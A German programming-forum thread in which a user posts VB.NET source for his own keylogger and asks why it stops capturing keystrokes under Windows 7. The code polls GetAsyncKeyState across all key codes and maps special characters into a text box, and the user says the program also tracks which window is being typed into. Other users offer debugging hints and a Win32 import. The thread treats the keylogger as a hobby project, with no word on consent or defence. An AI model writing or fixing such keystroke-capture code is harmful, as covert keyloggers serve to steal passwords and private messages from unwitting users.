Thema: Keylogger hat unter Win7 bug
-
20.11.2011, 19:24 #1
- Registriert seit
- 31.01.2011
- Beiträge
- 12
Thanked 0 Times in 0 PostsKeylogger hat unter Win7 bug
Hey Leute,
Ich hab vor einiger Zeit mal einen Keylogger geschrieben, ihn immer wieder verfeinert und auch extra Funktionen (wie z.B.: Welche Fenster sind offen, und in welchen fenster schreibt er grade) eingefügt. Er konnte Sonderzeichen, Pfeiltasten,...
Dies Funktionierte alles unter Win XP und Vista. Unter Win 7 bugt er allerdings. Die Zusatzfunktionen funktionieren noch alle. Nur das Mitspeichern der Tastertureingaben funktioniert nicht. :cry:
Weiß einer von euch dafür eine Lösung?
Danke schon mal im Vorraus
Einlesen geht vereinfacht bei mir so:
Dim result AsInteger
Dim i AsInteger
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text &= Chr(i)
End If
-
20.11.2011, 19:47 #2
- Registriert seit
- 02.11.2011
- Beiträge
- 54
Thanked 26 Times in 20 PostsKeylogger hat unter Win7 bug
Man müsste schon den kompletten Code sehen.
Wenn du zb. Keyboard Hooks benutzt mit Unmanaged Code, dann könnte es da probleme geben.
-
20.11.2011, 19:56 #3
- Registriert seit
- 31.01.2011
- Beiträge
- 12
Thanked 0 Times in 0 PostsKeylogger hat unter Win7 bug
PrivateSub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim result AsLong
Dim key AsString
Dim i AsInteger
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 1 Then
key = "[Linksklick]"
ElseIf i = 2 Then
key = "[Rechtsklick]"
ElseIf i = 8 Then
key = "[Del]"
ElseIf i = 16 Then
key = "[Umschalt]"
ElseIf i = 17 Then
key = "[Strg]"
ElseIf i = 18 Then
key = "[Alt]"
ElseIf i = 37 Then
key = "[Links]"
... 'Hier stehen nur weitere Sonderfälle
ElseIf i = 192 Then
key = "ö"
ElseIf i = 219 Then
key = "ß"
ElseIf i = 220 Then
key = "^"
ElseIf i = 221 Then
key = "´"
ElseIf i = 222 Then
key = "ä"
ElseIf i = 226 Then
key = "<"
EndIf
If i = 13 Then
key = vbNewLine
Exit For
EndIf
EndIf
Next
TextBox1.Text &= key
If key <> NothingThen
IfMy.Computer.Keyboard.ShiftKeyDown OrElseMy.Computer.Keyboard.CapsLock Then
TextBox1.Text &= key
Else
TextBox1.Text &= key.ToLower
EndIf
EndIf
EndSub
------------
Das ist der gesamte Einlesecode. (99% der Ausnahmen hab ich mir von einer Seite kopiert)
-
20.11.2011, 20:22 #4
- Registriert seit
- 02.11.2011
- Beiträge
- 54
Thanked 26 Times in 20 PostsKeylogger hat unter Win7 bug
...Das ist doch nicht der komplette Code ?
Du wirst doch irgendwelche Hooks oder sowas benutzen, oder nich ? :-P
-
20.11.2011, 20:30 #5
- Registriert seit
- 31.01.2011
- Beiträge
- 12
Thanked 0 Times in 0 PostsKeylogger hat unter Win7 bug
Nein ich verwende keine, da es (bis Win7) auch so funktionierte.
-
20.11.2011, 20:34 #6
- Registriert seit
- 02.11.2011
- Beiträge
- 54
Thanked 26 Times in 20 PostsKeylogger hat unter Win7 bug
Also wenn du keine Hooks oder sowas verwendest (was ich mir nicht vorstellen kann), dann darf da kein Bug sein.
Wird keine Exception geworfen oder sowas ?
-
20.11.2011, 20:38 #7
- Registriert seit
- 31.01.2011
- Beiträge
- 12
Thanked 0 Times in 0 PostsKeylogger hat unter Win7 bug
Das ist der Code von der ersten Version. Der war nur für Tastereingabe abfangen (unter Vista damals). Und der Teil hat sich bis jetzt nicht verändert.
Nein keine Exception, die Textbox bleibt einfach nur leer. Wenn ich es aber unter Vista teste, funktioniert alles.
-
20.11.2011, 20:46 #8
- Registriert seit
- 28.06.2013
- Beiträge
- 2
Thanked 0 Times in 0 PostsKeylogger hat unter Win7 bug
War das nicht so, dass "GetAsyncKeyState" unter 7 nicht funktioniert?
-
20.11.2011, 20:55 #9
- Registriert seit
- 02.11.2011
- Beiträge
- 54
Thanked 26 Times in 20 PostsKeylogger hat unter Win7 bug
Code:[DllImport("User32.dll")] private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey);
Wenn du nen Hook oder sowas benutzt, kann es sein das der nich funktioniert.
Das ist Unmanaged Code, da kannste dich nich drauf verlassen.
EDIT:
Google hätte geholfen ;-)
http://social.msdn.microsoft.com/For...a-082456de76d0
-
20.11.2011, 21:10 #10
Ähnliche Themen
-
Name der Textdateien die durch Keylogger erstellt werden
Von One Way im Forum Internet und TechnikAntworten: 6Letzter Beitrag: 23.08.2013, 01:35 -
SVZ Keylogger Opensource .NET
Von APay im Forum ShowroomAntworten: 1Letzter Beitrag: 11.07.2011, 20:12 -
Keylogger eigentlich fertig,aber wo ist der Fehler?
Von Resident im Forum HochsprachenAntworten: 5Letzter Beitrag: 24.06.2011, 16:33
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.